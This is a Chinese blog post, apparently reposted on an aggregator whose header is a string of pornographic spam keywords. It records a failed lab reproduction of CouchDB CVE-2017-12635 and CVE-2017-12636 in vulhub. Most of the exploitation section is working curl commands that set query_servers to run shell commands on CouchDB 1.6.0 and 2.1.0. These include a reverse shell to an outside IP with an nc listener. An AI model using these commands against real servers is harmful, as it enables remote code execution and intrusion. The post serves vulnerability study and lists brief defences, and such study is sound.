日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CouchDB未授权访问漏洞记录(端口:5984、6984,CVE-2017-12635,CVE-2017-12636)复现失败

發布時間:2025/3/15 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CouchDB未授权访问漏洞记录(端口:5984、6984,CVE-2017-12635,CVE-2017-12636)复现失败 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

復現exp失敗

?

漏洞簡介以及危害

Apache CouchDB是一個開源數據庫,專注于易用性和成為”完全擁抱web的數據庫”。它是一個使用JSON作為存儲格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL數據庫。
應用廣廣泛,如BBC用在其動態內容展示平臺,Credit Suisse用在其內部的商品部?的市場框架,Meebo,用在其社交平臺(web和應用程序),默認會在5984端口開放Restful的API接口口,如果使用
SSL的話就會監聽在6984端口,用于數據庫的管理功能。其HTTP Server默認開啟時沒有進行行行驗證,而且綁定在0.0.0.0,所有用戶均可通過API訪問導致未授權訪問。
在官方方配置文文檔中對HTTP Server的配置有WWW-Authenticate:Set this option to trigger
basic-auth popup on unauthorized requests,但是很多用戶都沒有這么配置,導致漏洞產生。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一個任意命令執行漏洞,我們可以通過config api修改couchdb的配置query_server,這個配置項在設計、執行view的時候將被運行。

影響版本

小于 1.7.0 以及 小于 2.1.1

漏洞環境

vulnhub

Couchdb 2.x和和1.x的API接口有一定區別,所以這個漏洞的利用方式也不同。本環境啟動的是1.6.0版本,如果你想測試2.1.0版本,可以啟動CVE-2017-12635

漏洞利用

CVE-2017-12636是需要登錄用戶方可觸發,如果不知道目標管理員密碼,可以利CVE-2017-12635CVE-017-12635先【增加一個管理員用戶】,如果無須帳號密碼,就可通過未授權訪問進行命令執行
同樣,記得在Burp的攔截端口添加一個5984

進入環境,并啟動

cd couchdb/CVE-2017-12636/ docker-compose up -d

未授權訪問測試

curl http://192.168.0.100:5984 curl http://192.168.0.100:5984/_config

任意命令執行漏洞

# 本機python運行http服務(可以不運行這個步驟,這里只是做curl測試用的) python -m SimpleHTTPServer 8888

1.6.0 下

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"' curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest' curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

反彈寫法(第一個請求修改)

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/merver' -d '"bash -i >& /dev/tcp/115.159.150.2/1231 0>&1"'nc -lvp 1231

其中,`vulhub:vulhub`為管理員賬號密碼。

第一個請求是添加一個名字為`cmd`的`query_servers`,其值為`"id >/tmp/success"`,這就是我們后面待執行的命令。

第二、三個請求是添加一個Database和Document,這里添加了后面才能查詢。

第四個請求就是在這個Database里進行查詢,因為我將language設置為`cmd`,這里就會用到我第一步里添加的名為`cmd`的`query_servers`,最后觸發命令執行。

2.1.0 下

# 2.1.0中修改了1.6.0用到的兩個API # Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。我們帶上賬號密碼訪問/_membership即可 curl http://<your-ip>:5984/_membership# 利用(跟1.6.0類似) curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/CVE-2017-12636_is_success"' curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest' #先增加一個Database和一個Document curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' #Couchdb 2.x刪除了_temp_view,所以我們為了觸發query_servers中定義的命令,需要添加一個_view curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json" #增加_view的同時即觸發了query_servers中的命令。

exp地址

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

nmap掃描

nmap -p 5984 --script "couchdb-stats.nse" <target_ip>

防御手段

  • 綁定指定ip
  • 設置訪問密

總結

以上是生活随笔為你收集整理的CouchDB未授权访问漏洞记录(端口:5984、6984,CVE-2017-12635,CVE-2017-12636)复现失败的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。